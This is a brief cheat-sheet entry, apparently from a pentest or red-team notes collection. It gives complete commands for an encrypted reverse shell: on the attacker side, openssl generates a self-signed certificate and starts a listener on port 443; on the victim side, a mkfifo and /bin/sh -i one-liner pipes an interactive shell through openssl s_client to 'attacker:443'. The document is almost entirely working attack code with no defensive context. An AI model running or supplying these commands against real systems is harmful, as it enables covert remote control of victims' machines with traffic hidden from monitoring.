TLS reverse shell

cmd.sh

# attacker side: create auto-signed certificate and setup a listener
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 443

# victim side: connect back to attacker using TLS
mkfifo fifo; /bin/sh -i < fifo 2>&1 | openssl s_client -quiet -connect attacker:443 > fifo; rm fifo